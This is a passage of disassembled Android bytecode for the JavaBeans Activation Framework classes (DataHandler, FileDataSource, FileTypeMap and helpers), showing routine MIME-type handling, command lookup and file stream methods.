.end method
.method public constructor <init>(URL)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, DataHandler->dataSource:DataSource
0000000C iput-object v1, p0, DataHandler->objDataSource:DataSource
00000010 iput-object v1, p0, DataHandler->object:Object
00000014 iput-object v1, p0, DataHandler->objectMimeType:String
00000018 iput-object v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000020 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024 iput-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028 iput-object v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C iput-object v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030 iput-object v1, p0, DataHandler->shortType:String
00000034 new-instance v0, URLDataSource
00000038 invoke-direct URLDataSource-><init>(URL)V, v0, p1
0000003E iput-object v0, p0, DataHandler->dataSource:DataSource
00000042 sget-object v0, DataHandler->factory:DataContentHandlerFactory
00000046 iput-object v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000004A return-void
.end method
.method public constructor <init>(DataSource)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, DataHandler->dataSource:DataSource
0000000C iput-object v1, p0, DataHandler->objDataSource:DataSource
00000010 iput-object v1, p0, DataHandler->object:Object
00000014 iput-object v1, p0, DataHandler->objectMimeType:String
00000018 iput-object v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000020 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024 iput-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028 iput-object v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C iput-object v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030 iput-object v1, p0, DataHandler->shortType:String
00000034 iput-object p1, p0, DataHandler->dataSource:DataSource
00000038 sget-object v0, DataHandler->factory:DataContentHandlerFactory
0000003C iput-object v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000040 return-void
.end method
.method static synthetic access$0(DataHandler)Object
.registers 2
00000000 iget-object v0, p0, DataHandler->object:Object
00000004 return-object v0
.end method
.method static synthetic access$1(DataHandler)String
.registers 2
00000000 iget-object v0, p0, DataHandler->objectMimeType:String
00000004 return-object v0
.end method
.method private declared-synchronized getBaseType()String
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DataHandler->shortType:String
00000006 if-nez v0, :28
:A
0000000A invoke-virtual DataHandler->getContentType()String, p0
:10
00000010 move-result-object v0
:12
00000012 new-instance v1, MimeType
00000016 invoke-direct MimeType-><init>(String)V, v1, v0
0000001C invoke-virtual MimeType->getBaseType()String, v1
00000022 move-result-object v1
00000024 iput-object v1, p0, DataHandler->shortType:String
:28
00000028 iget-object v0, p0, DataHandler->shortType:String
:2C
0000002C monitor-exit p0
0000002E return-object v0
:30
00000030 move-exception v1
:32
00000032 iput-object v0, p0, DataHandler->shortType:String
:36
00000036 goto :28
:38
00000038 move-exception v0
0000003A monitor-exit p0
0000003C throw v0
.catchall {:2 .. :10} :38
.catch MimeTypeParseException {:12 .. :28} :30
.catchall {:12 .. :28} :38
.catchall {:28 .. :2C} :38
.catchall {:32 .. :36} :38
.end method
.method private declared-synchronized getCommandMap()CommandMap
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DataHandler->currentCommandMap:CommandMap
00000006 if-eqz v0, :12
:A
0000000A iget-object v0, p0, DataHandler->currentCommandMap:CommandMap
:E
0000000E monitor-exit p0
00000010 return-object v0
:12
00000012 invoke-static CommandMap->getDefaultCommandMap()CommandMap
:18
00000018 move-result-object v0
0000001A goto :E
:1C
0000001C move-exception v0
0000001E monitor-exit p0
00000020 throw v0
.catchall {:2 .. :E} :1C
.catchall {:12 .. :18} :1C
.end method
.method private declared-synchronized getDataContentHandler()DataContentHandler
.registers 5
00000000 monitor-enter p0
:2
00000002 sget-object v0, DataHandler->factory:DataContentHandlerFactory
00000006 iget-object v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000000A if-eq v0, v1, :2A
:E
0000000E sget-object v0, DataHandler->factory:DataContentHandlerFactory
00000012 iput-object v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000016 const/4 v0, 0x0
00000018 iput-object v0, p0, DataHandler->factoryDCH:DataContentHandler
0000001C const/4 v0, 0x0
0000001E iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
00000022 sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000026 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
:2A
0000002A iget-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
0000002E if-eqz v0, :3A
:32
00000032 iget-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
:36
00000036 monitor-exit p0
00000038 return-object v0
:3A
0000003A invoke-direct DataHandler->getBaseType()String, p0
00000040 move-result-object v0
00000042 iget-object v1, p0, DataHandler->factoryDCH:DataContentHandler
00000046 if-nez v1, :62
:4A
0000004A sget-object v1, DataHandler->factory:DataContentHandlerFactory
0000004E if-eqz v1, :62
:52
00000052 sget-object v1, DataHandler->factory:DataContentHandlerFactory
00000056 invoke-interface DataContentHandlerFactory->createDataContentHandler(String)DataContentHandler, v1, v0
0000005C move-result-object v1
0000005E iput-object v1, p0, DataHandler->factoryDCH:DataContentHandler
:62
00000062 iget-object v1, p0, DataHandler->factoryDCH:DataContentHandler
00000066 if-eqz v1, :72
:6A
0000006A iget-object v1, p0, DataHandler->factoryDCH:DataContentHandler
0000006E iput-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
:72
00000072 iget-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000076 if-nez v1, :9A
:7A
0000007A iget-object v1, p0, DataHandler->dataSource:DataSource
0000007E if-eqz v1, :BE
:82
00000082 invoke-direct DataHandler->getCommandMap()CommandMap, p0
00000088 move-result-object v1
0000008A iget-object v2, p0, DataHandler->dataSource:DataSource
0000008E invoke-virtual CommandMap->createDataContentHandler(String, DataSource)DataContentHandler, v1, v0, v2
00000094 move-result-object v0
00000096 iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
:9A
0000009A iget-object v0, p0, DataHandler->dataSource:DataSource
0000009E if-eqz v0, :DA
:A2
000000A2 new-instance v0, DataSourceDataContentHandler
000000A6 iget-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
000000AA iget-object v2, p0, DataHandler->dataSource:DataSource
000000AE invoke-direct DataSourceDataContentHandler-><init>(DataContentHandler, DataSource)V, v0, v1, v2
000000B4 iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
:B8
000000B8 iget-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
000000BC goto :36
:BE
000000BE invoke-direct DataHandler->getCommandMap()CommandMap, p0
000000C4 move-result-object v1
000000C6 invoke-virtual CommandMap->createDataContentHandler(String)DataContentHandler, v1, v0
000000CC move-result-object v0
000000CE iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
:D2
000000D2 goto :9A
:D4
000000D4 move-exception v0
000000D6 monitor-exit p0
000000D8 throw v0
:DA
000000DA new-instance v0, ObjectDataContentHandler
000000DE iget-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
000000E2 iget-object v2, p0, DataHandler->object:Object
000000E6 iget-object v3, p0, DataHandler->objectMimeType:String
000000EA invoke-direct ObjectDataContentHandler-><init>(DataContentHandler, Object, String)V, v0, v1, v2, v3
000000F0 iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
:F4
000000F4 goto :B8
.catchall {:2 .. :36} :D4
.catchall {:3A .. :D2} :D4
.catchall {:DA .. :F4} :D4
.end method
.method public static declared-synchronized setDataContentHandlerFactory(DataContentHandlerFactory)V
.registers 5
00000000 const-class v1, DataHandler
00000004 monitor-enter v1
:6
00000006 sget-object v0, DataHandler->factory:DataContentHandlerFactory
0000000A if-eqz v0, :24
:E
0000000E new-instance v0, Error
00000012 const-string v2, "DataContentHandlerFactory already defined"
00000016 invoke-direct Error-><init>(String)V, v0, v2
0000001C throw v0
:1E
0000001E move-exception v0
00000020 monitor-exit v1
00000022 throw v0
:24
00000024 invoke-static System->getSecurityManager()SecurityManager
:2A
0000002A move-result-object v0
0000002C if-eqz v0, :36
:30
00000030 invoke-virtual SecurityManager->checkSetFactory()V, v0
:36
00000036 sput-object p0, DataHandler->factory:DataContentHandlerFactory
:3A
0000003A monitor-exit v1
0000003C return-void
:3E
0000003E move-exception v0
:40
00000040 const-class v2, DataHandler
00000044 invoke-virtual Class->getClassLoader()ClassLoader, v2
0000004A move-result-object v2
0000004C invoke-virtual Object->getClass()Class, p0
00000052 move-result-object v3
00000054 invoke-virtual Class->getClassLoader()ClassLoader, v3
0000005A move-result-object v3
0000005C if-eq v2, v3, :36
:60
00000060 throw v0
.catchall {:6 .. :1E} :1E
.catchall {:24 .. :2A} :1E
.catch SecurityException {:30 .. :36} :3E
.catchall {:30 .. :36} :1E
.catchall {:36 .. :3A} :1E
.catchall {:40 .. :62} :1E
.end method
.method public getAllCommands()[CommandInfo
.registers 4
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :26
:8
00000008 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000000E move-result-object v0
00000010 invoke-direct DataHandler->getBaseType()String, p0
00000016 move-result-object v1
00000018 iget-object v2, p0, DataHandler->dataSource:DataSource
0000001C invoke-virtual CommandMap->getAllCommands(String, DataSource)[CommandInfo, v0, v1, v2
00000022 move-result-object v0
:24
00000024 return-object v0
:26
00000026 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000002C move-result-object v0
0000002E invoke-direct DataHandler->getBaseType()String, p0
00000034 move-result-object v1
00000036 invoke-virtual CommandMap->getAllCommands(String)[CommandInfo, v0, v1
0000003C move-result-object v0
0000003E goto :24
.end method
.method public getBean(CommandInfo)Object
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 invoke-static SecuritySupport->getContextClassLoader()ClassLoader
00000008 move-result-object v1
0000000A if-nez v1, :1E
:E
0000000E invoke-virtual Object->getClass()Class, p0
00000014 move-result-object v1
00000016 invoke-virtual Class->getClassLoader()ClassLoader, v1
0000001C move-result-object v1
:1E
0000001E invoke-virtual CommandInfo->getCommandObject(DataHandler, ClassLoader)Object, p1, p0, v1
:24
00000024 move-result-object v0
:26
00000026 return-object v0
:28
00000028 move-exception v1
0000002A goto :26
:2C
0000002C move-exception v1
0000002E goto :26
.catch IOException {:2 .. :24} :2C
.catch ClassNotFoundException {:2 .. :24} :28
.end method
.method public getCommand(String)CommandInfo
.registers 5
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :26
:8
00000008 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000000E move-result-object v0
00000010 invoke-direct DataHandler->getBaseType()String, p0
00000016 move-result-object v1
00000018 iget-object v2, p0, DataHandler->dataSource:DataSource
0000001C invoke-virtual CommandMap->getCommand(String, String, DataSource)CommandInfo, v0, v1, p1, v2
00000022 move-result-object v0
:24
00000024 return-object v0
:26
00000026 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000002C move-result-object v0
0000002E invoke-direct DataHandler->getBaseType()String, p0
00000034 move-result-object v1
00000036 invoke-virtual CommandMap->getCommand(String, String)CommandInfo, v0, v1, p1
0000003C move-result-object v0
0000003E goto :24
.end method
.method public getContent()Object
.registers 3
00000000 iget-object v0, p0, DataHandler->object:Object
00000004 if-eqz v0, :E
:8
00000008 iget-object v0, p0, DataHandler->object:Object
:C
0000000C return-object v0
:E
0000000E invoke-direct DataHandler->getDataContentHandler()DataContentHandler, p0
00000014 move-result-object v0
00000016 invoke-virtual DataHandler->getDataSource()DataSource, p0
0000001C move-result-object v1
0000001E invoke-interface DataContentHandler->getContent(DataSource)Object, v0, v1
00000024 move-result-object v0
00000026 goto :C
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataHandler->dataSource:DataSource
0000000C invoke-interface DataSource->getContentType()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 iget-object v0, p0, DataHandler->objectMimeType:String
0000001A goto :14
.end method
.method public getDataSource()DataSource
.registers 2
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-nez v0, :24
:8
00000008 iget-object v0, p0, DataHandler->objDataSource:DataSource
0000000C if-nez v0, :1E
:10
00000010 new-instance v0, DataHandlerDataSource
00000014 invoke-direct DataHandlerDataSource-><init>(DataHandler)V, v0, p0
0000001A iput-object v0, p0, DataHandler->objDataSource:DataSource
:1E
0000001E iget-object v0, p0, DataHandler->objDataSource:DataSource
:22
00000022 return-object v0
:24
00000024 iget-object v0, p0, DataHandler->dataSource:DataSource
00000028 goto :22
.end method
.method public getInputStream()InputStream
.registers 6
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataHandler->dataSource:DataSource
0000000C invoke-interface DataSource->getInputStream()InputStream, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 invoke-direct DataHandler->getDataContentHandler()DataContentHandler, p0
0000001C move-result-object v1
0000001E if-nez v1, :54
:22
00000022 new-instance v0, UnsupportedDataTypeException
00000026 new-instance v1, StringBuilder
0000002A const-string v2, "no DCH for MIME type "
0000002E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000034 invoke-direct DataHandler->getBaseType()String, p0
0000003A move-result-object v2
0000003C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000042 move-result-object v1
00000044 invoke-virtual StringBuilder->toString()String, v1
0000004A move-result-object v1
0000004C invoke-direct UnsupportedDataTypeException-><init>(String)V, v0, v1
00000052 throw v0
:54
00000054 instance-of v0, v1, ObjectDataContentHandler
00000058 if-eqz v0, :A0
:5C
0000005C move-object v0, v1
0000005E check-cast v0, ObjectDataContentHandler
00000062 invoke-virtual ObjectDataContentHandler->getDCH()DataContentHandler, v0
00000068 move-result-object v0
0000006A if-nez v0, :A0
:6E
0000006E new-instance v0, UnsupportedDataTypeException
00000072 new-instance v1, StringBuilder
00000076 const-string v2, "no object DCH for MIME type "
0000007A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000080 invoke-direct DataHandler->getBaseType()String, p0
00000086 move-result-object v2
00000088 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000008E move-result-object v1
00000090 invoke-virtual StringBuilder->toString()String, v1
00000096 move-result-object v1
00000098 invoke-direct UnsupportedDataTypeException-><init>(String)V, v0, v1
0000009E throw v0
:A0
000000A0 new-instance v2, PipedOutputStream
000000A4 invoke-direct PipedOutputStream-><init>()V, v2
000000AA new-instance v0, PipedInputStream
000000AE invoke-direct PipedInputStream-><init>(PipedOutputStream)V, v0, v2
000000B4 new-instance v3, Thread
000000B8 new-instance v4, DataHandler$1
000000BC invoke-direct DataHandler$1-><init>(DataHandler, PipedOutputStream, DataContentHandler)V, v4, p0, v2, v1
000000C2 const-string v1, "DataHandler.getInputStream"
000000C6 invoke-direct Thread-><init>(Runnable, String)V, v3, v4, v1
000000CC invoke-virtual Thread->start()V, v3
000000D2 goto :14
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataHandler->dataSource:DataSource
0000000C invoke-interface DataSource->getName()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getOutputStream()OutputStream
.registers 2
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataHandler->dataSource:DataSource
0000000C invoke-interface DataSource->getOutputStream()OutputStream, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getPreferredCommands()[CommandInfo
.registers 4
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :26
:8
00000008 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000000E move-result-object v0
00000010 invoke-direct DataHandler->getBaseType()String, p0
00000016 move-result-object v1
00000018 iget-object v2, p0, DataHandler->dataSource:DataSource
0000001C invoke-virtual CommandMap->getPreferredCommands(String, DataSource)[CommandInfo, v0, v1, v2
00000022 move-result-object v0
:24
00000024 return-object v0
:26
00000026 invoke-direct DataHandler->getCommandMap()CommandMap, p0
0000002C move-result-object v0
0000002E invoke-direct DataHandler->getBaseType()String, p0
00000034 move-result-object v1
00000036 invoke-virtual CommandMap->getPreferredCommands(String)[CommandInfo, v0, v1
0000003C move-result-object v0
0000003E goto :24
.end method
.method public getTransferData(DataFlavor)Object
.registers 4
00000000 invoke-direct DataHandler->getDataContentHandler()DataContentHandler, p0
00000006 move-result-object v0
00000008 iget-object v1, p0, DataHandler->dataSource:DataSource
0000000C invoke-interface DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, v1
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public declared-synchronized getTransferDataFlavors()[DataFlavor
.registers 3
00000000 monitor-enter p0
:2
00000002 sget-object v0, DataHandler->factory:DataContentHandlerFactory
00000006 iget-object v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000000A if-eq v0, v1, :16
:E
0000000E sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000012 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
:16
00000016 iget-object v0, p0, DataHandler->transferFlavors:[DataFlavor
0000001A sget-object v1, DataHandler->emptyFlavors:[DataFlavor
0000001E if-ne v0, v1, :36
:22
00000022 invoke-direct DataHandler->getDataContentHandler()DataContentHandler, p0
00000028 move-result-object v0
0000002A invoke-interface DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
00000030 move-result-object v0
00000032 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
:36
00000036 iget-object v0, p0, DataHandler->transferFlavors:[DataFlavor
:3A
0000003A monitor-exit p0
0000003C return-object v0
:3E
0000003E move-exception v0
00000040 monitor-exit p0
00000042 throw v0
.catchall {:2 .. :3A} :3E
.end method
.method public isDataFlavorSupported(DataFlavor)Z
.registers 6
00000000 const/4 v1, 0x0
00000002 invoke-virtual DataHandler->getTransferDataFlavors()[DataFlavor, p0
00000008 move-result-object v2
0000000A move v0, v1
:C
0000000C array-length v3, v2
0000000E if-lt v0, v3, :14
:12
00000012 return v1
:14
00000014 aget-object v3, v2, v0
00000018 invoke-virtual DataFlavor->equals(DataFlavor)Z, v3, p1
0000001E move-result v3
00000020 if-eqz v3, :28
:24
00000024 const/4 v1, 0x1
00000026 goto :12
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :C
.end method
.method public declared-synchronized setCommandMap(CommandMap)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DataHandler->currentCommandMap:CommandMap
00000006 if-ne p1, v0, :E
:A
0000000A if-nez p1, :20
:E
0000000E sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000012 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
00000016 const/4 v0, 0x0
00000018 iput-object v0, p0, DataHandler->dataContentHandler:DataContentHandler
0000001C iput-object p1, p0, DataHandler->currentCommandMap:CommandMap
:20
00000020 monitor-exit p0
00000022 return-void
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
.catchall {:2 .. :20} :24
.end method
.method public writeTo(OutputStream)V
.registers 6
00000000 iget-object v0, p0, DataHandler->dataSource:DataSource
00000004 if-eqz v0, :44
:8
00000008 const/16 v0, 0x2000
0000000C new-array v0, v0, [B
00000010 iget-object v1, p0, DataHandler->dataSource:DataSource
00000014 invoke-interface DataSource->getInputStream()InputStream, v1
0000001A move-result-object v1
:1C
0000001C invoke-virtual InputStream->read([B)I, v1, v0
:22
00000022 move-result v2
00000024 if-gtz v2, :30
:28
00000028 invoke-virtual InputStream->close()V, v1
:2E
0000002E return-void
:30
00000030 const/4 v3, 0x0
:32
00000032 invoke-virtual OutputStream->write([B, I, I)V, p1, v0, v3, v2
:38
00000038 goto :1C
:3A
0000003A move-exception v0
0000003C invoke-virtual InputStream->close()V, v1
00000042 throw v0
:44
00000044 invoke-direct DataHandler->getDataContentHandler()DataContentHandler, p0
0000004A move-result-object v0
0000004C iget-object v1, p0, DataHandler->object:Object
00000050 iget-object v2, p0, DataHandler->objectMimeType:String
00000054 invoke-interface DataContentHandler->writeTo(Object, String, OutputStream)V, v0, v1, v2, p1
0000005A goto :2E
.catchall {:1C .. :22} :3A
.catchall {:32 .. :38} :3A
.end method
#--------------------------------------------------------------------------------
.class DataHandlerDataSource
.super Object
.source ""
.implements DataSource
.field dataHandler:DataHandler
.method public constructor <init>(DataHandler)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, DataHandlerDataSource->dataHandler:DataHandler
0000000C iput-object p1, p0, DataHandlerDataSource->dataHandler:DataHandler
00000010 return-void
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004 invoke-virtual DataHandler->getContentType()String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getInputStream()InputStream
.registers 2
00000000 iget-object v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004 invoke-virtual DataHandler->getInputStream()InputStream, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004 invoke-virtual DataHandler->getName()String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getOutputStream()OutputStream
.registers 2
00000000 iget-object v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004 invoke-virtual DataHandler->getOutputStream()OutputStream, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class DataSourceDataContentHandler
.super Object
.source ""
.implements DataContentHandler
.field private dch:DataContentHandler
.field private ds:DataSource
.field private transferFlavors:[DataFlavor
.method public constructor <init>(DataContentHandler, DataSource)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, DataSourceDataContentHandler->ds:DataSource
0000000C iput-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000010 iput-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000014 iput-object p2, p0, DataSourceDataContentHandler->ds:DataSource
00000018 iput-object p1, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000001C return-void
.end method
.method public getContent(DataSource)Object
.registers 3
00000000 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C invoke-interface DataContentHandler->getContent(DataSource)Object, v0, p1
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 invoke-interface DataSource->getInputStream()InputStream, p1
0000001C move-result-object v0
0000001E goto :14
.end method
.method public getTransferData(DataFlavor, DataSource)Object
.registers 5
00000000 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C invoke-interface DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, p2
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 invoke-virtual DataSourceDataContentHandler->getTransferDataFlavors()[DataFlavor, p0
0000001C move-result-object v0
0000001E const/4 v1, 0x0
00000020 aget-object v0, v0, v1
00000024 invoke-virtual DataFlavor->equals(DataFlavor)Z, p1, v0
0000002A move-result v0
0000002C if-eqz v0, :3A
:30
00000030 invoke-interface DataSource->getInputStream()InputStream, p2
00000036 move-result-object v0
00000038 goto :14
:3A
0000003A new-instance v0, UnsupportedFlavorException
0000003E invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000044 throw v0
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 6
00000000 iget-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000004 if-nez v0, :20
:8
00000008 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C if-eqz v0, :26
:10
00000010 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000014 invoke-interface DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
0000001A move-result-object v0
0000001C iput-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
:20
00000020 iget-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000024 return-object v0
:26
00000026 const/4 v0, 0x1
00000028 new-array v0, v0, [DataFlavor
0000002C iput-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000030 iget-object v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000034 const/4 v1, 0x0
00000036 new-instance v2, ActivationDataFlavor
0000003A iget-object v3, p0, DataSourceDataContentHandler->ds:DataSource
0000003E invoke-interface DataSource->getContentType()String, v3
00000044 move-result-object v3
00000046 iget-object v4, p0, DataSourceDataContentHandler->ds:DataSource
0000004A invoke-interface DataSource->getContentType()String, v4
00000050 move-result-object v4
00000052 invoke-direct ActivationDataFlavor-><init>(String, String)V, v2, v3, v4
00000058 aput-object v2, v0, v1
0000005C goto :20
.end method
.method public writeTo(Object, String, OutputStream)V
.registers 7
00000000 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004 if-eqz v0, :14
:8
00000008 iget-object v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C invoke-interface DataContentHandler->writeTo(Object, String, OutputStream)V, v0, p1, p2, p3
00000012 return-void
:14
00000014 new-instance v0, UnsupportedDataTypeException
00000018 new-instance v1, StringBuilder
0000001C const-string v2, "no DCH for content type "
00000020 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000026 iget-object v2, p0, DataSourceDataContentHandler->ds:DataSource
0000002A invoke-interface DataSource->getContentType()String, v2
00000030 move-result-object v2
00000032 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000038 move-result-object v1
0000003A invoke-virtual StringBuilder->toString()String, v1
00000040 move-result-object v1
00000042 invoke-direct UnsupportedDataTypeException-><init>(String)V, v0, v1
00000048 throw v0
.end method
#--------------------------------------------------------------------------------
.class public FileDataSource
.super Object
.source ""
.implements DataSource
.field private _file:File
.field private typeMap:FileTypeMap
.method public constructor <init>(File)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, FileDataSource->_file:File
0000000C iput-object v0, p0, FileDataSource->typeMap:FileTypeMap
00000010 iput-object p1, p0, FileDataSource->_file:File
00000014 return-void
.end method
.method public constructor <init>(String)V
.registers 3
00000000 new-instance v0, File
00000004 invoke-direct File-><init>(String)V, v0, p1
0000000A invoke-direct FileDataSource-><init>(File)V, p0, v0
00000010 return-void
.end method
.method public getContentType()String
.registers 3
00000000 iget-object v0, p0, FileDataSource->typeMap:FileTypeMap
00000004 if-nez v0, :1E
:8
00000008 invoke-static FileTypeMap->getDefaultFileTypeMap()FileTypeMap
0000000E move-result-object v0
00000010 iget-object v1, p0, FileDataSource->_file:File
00000014 invoke-virtual FileTypeMap->getContentType(File)String, v0, v1
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E iget-object v0, p0, FileDataSource->typeMap:FileTypeMap
00000022 iget-object v1, p0, FileDataSource->_file:File
00000026 invoke-virtual FileTypeMap->getContentType(File)String, v0, v1
0000002C move-result-object v0
0000002E goto :1C
.end method
.method public getFile()File
.registers 2
00000000 iget-object v0, p0, FileDataSource->_file:File
00000004 return-object v0
.end method
.method public getInputStream()InputStream
.registers 3
00000000 new-instance v0, FileInputStream
00000004 iget-object v1, p0, FileDataSource->_file:File
00000008 invoke-direct FileInputStream-><init>(File)V, v0, v1
0000000E return-object v0
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, FileDataSource->_file:File
00000004 invoke-virtual File->getName()String, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public getOutputStream()OutputStream
.registers 3
00000000 new-instance v0, FileOutputStream
00000004 iget-object v1, p0, FileDataSource->_file:File
00000008 invoke-direct FileOutputStream-><init>(File)V, v0, v1
0000000E return-object v0
.end method
.method public setFileTypeMap(FileTypeMap)V
.registers 2
00000000 iput-object p1, p0, FileDataSource->typeMap:FileTypeMap
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract FileTypeMap
.super Object
.source ""
.field private static defaultMap:FileTypeMap
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, FileTypeMap->defaultMap:FileTypeMap
00000006 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getDefaultFileTypeMap()FileTypeMap
.registers 1
00000000 sget-object v0, FileTypeMap->defaultMap:FileTypeMap
00000004 if-nez v0, :16
:8
00000008 new-instance v0, MimetypesFileTypeMap
0000000C invoke-direct MimetypesFileTypeMap-><init>()V, v0
00000012 sput-object v0, FileTypeMap->defaultMap:FileTypeMap
:16
00000016 sget-object v0, FileTypeMap->defaultMap:FileTypeMap
0000001A return-object v0
.end method
.method public static setDefaultFileTypeMap(FileTypeMap)V
.registers 4
